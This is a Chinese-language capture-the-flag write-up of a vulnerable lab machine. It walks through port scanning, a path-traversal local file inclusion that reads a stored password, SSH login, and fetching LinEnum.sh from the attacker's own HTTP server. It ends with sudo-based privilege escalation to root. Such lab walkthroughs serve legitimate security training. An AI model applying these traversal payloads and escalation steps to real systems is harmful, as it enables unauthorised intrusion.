文章目录
一、信息收集
常规的主机发现以及端口扫描,扫描自己所在的网段。
nmap 192.168.216.0/24
nmap -A -v -T4 -p 80-10000 192.168.216.144
可以看到服务器开启了80端口和3042ssh的端口以及一些服务器的信息,网站搭建的中间件以及版本等等信息。
二、漏洞发现
访问服务器的80端口
一个非常普通的网站,在目前来看并不能发现什么业务功能,查看了一下源代码发现中间的按钮是跳转到https://twitter.com/c0ldd__作者的twitter。接下来对网站进行目录扫描,看看能不能发现有信息的文件。
依次查看网页
查看后发现其他的网页都是普通的js文件和css文件,但是有一个登录页面可能存在漏洞
查看源代码后有一段提示
意思就是作者将密码保存在/var/carls.txt中,我们需要找到这个文件
所以我的想法是此页面应该有一个LFI漏洞
三、漏洞利用
做了一下模糊测试后发现
192.168.216.144/login/account.php?page=../../../../..//var/carls.txt
就是密码的存储地址
看起来密码是加密过的,base64解密后为carlos
使用kali登录到该用户
ssh -p 3042 carls@192.168.216.144
成功连接上carls用户,但是权限并不是root权限,后续还需要权限提升才能获取到flag
四、权限提升
上传权限提升脚本到服务器收集信息
先在kali搭建一个http服务
python3 -m http.server 8001
在服务器上下载LinEnum.sh
wget http://192.168.216.128:8001/LinEnum.sh
服务器执行bash文件收集服务器的信息,发现有2个用户
在carls用户下并没有发现有flag,因此切换到c0ldd用户下查找flag
但是出现了一个问题,发现carls用户并没有使用su的权限
使用sudo -l查看权限
CARLS用户可以在IMMERSION中执行以下命令:(c0ldd:c0ldd)/bin/bash
因此可以使用c0ldd用户的bash来运行命令
sudo -u c0ldd bash
成功切换到c0ldd用户下
成功拿下了第一个flag,但是并不是root权限,因此需要提权到root才能拿到下一个flag。
可以看到该用户下有一个DoNotRun.py的文件是root权限的,对其进行进行修改。
使用python3运行该文件
sudo /usr/bin/python3 /home/c0ldd/DoNotRun.py #一定要这样使用运行,不然提权不成功
成功提权到root权限并拿到flag,完结!!!
关键
爆破出LFI的接收参数得到用户的密码
总结
前期端口扫描时漏扫了一个3042端口,需要划分一个区域以便不会漏扫
LFI漏洞使用FUZZ爆破出接受的参数,而且路径也需要正确才能读取到正确的密码文件
使用sudo -l查看当前用户拥有的权限,以及在其他用户中的权限
注意文件的执行权限